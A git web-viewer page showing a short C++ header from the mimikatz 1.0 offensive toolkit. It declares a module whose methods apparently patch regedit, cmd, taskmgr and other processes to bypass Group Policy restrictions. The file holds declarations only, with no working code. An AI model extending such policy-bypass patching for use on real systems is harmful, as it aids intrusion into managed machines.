aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h
blob: c96e22f5e2ffe32cb0a150eccc81e0ab4b3c890b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_patch.h"
#include <iostream>

class mod_mimikatz_nogpo
{
private:
	static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL);
	static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL);
	static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL);

	static bool getApplicationPathFromCLSID(wstring application, wstring * path);

public:
	static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();

	static bool regedit(vector<wstring> * arguments);
	static bool cmd(vector<wstring> * arguments);
	static bool taskmgr(vector<wstring> * arguments);
	static bool olpst(vector<wstring> * arguments);
};